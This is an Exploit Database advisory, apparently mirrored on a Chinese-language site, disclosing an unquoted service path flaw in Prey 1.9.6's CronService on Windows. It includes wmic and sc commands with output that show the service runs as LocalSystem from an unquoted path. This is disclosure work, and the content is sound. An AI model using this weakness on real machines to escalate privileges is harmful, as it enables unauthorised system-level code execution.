Prey 1.9.6 – “CronService” Unquoted Service Path

• Exploit Database
• 11 阅读

• 作者： Ömer Tuygun
  日期： 2020-10-28
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/48967/

• # Exploit Title: Prey 1.9.6 - "CronService" Unquoted Service Path
  # Discovery by: Ömer Tuygun
  # Discovery Date:16.10.2020
  # Vendor Homepage: https://preyproject.com/
  # Software Link: https://preyproject.com/download/
  # Tested Version: 1.9.6
  # Vulnerability Type: Unquoted Service Path
  # Tested on OS: Windows 10 Pro x64 es
  
  # Description:
  A successful attempt would require the local user to be able to insert
  their code in the system root path undetected by the OS or other
  security applications
  where it could potentially be executed during application startup or
  reboot. If successful, the local user's code would execute with the
  elevated privileges
  of the application.
  
  
  
  C:\Users>wmic service get name, pathname, displayname, startmode |
  findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "Prey" |
  findstr /i /v """
  Cron Service
   CronService
  C:\Program Files (x86)\Prey\wpxsvc.exe
  
  
  
  Auto
  
  C:\Users>sc qc CronService
  [SC] QueryServiceConfig SUCCESS
  
  SERVICE_NAME: CronService
  TYPE : 10WIN32_OWN_PROCESS
  START_TYPE : 2 AUTO_START
  ERROR_CONTROL: 1 NORMAL
  BINARY_PATH_NAME : C:\Program Files (x86)\Prey\wpxsvc.exe
  LOAD_ORDER_GROUP :
  TAG: 0
  DISPLAY_NAME : Cron Service
  DEPENDENCIES :
  SERVICE_START_NAME : LocalSystem
  
  C:\Users>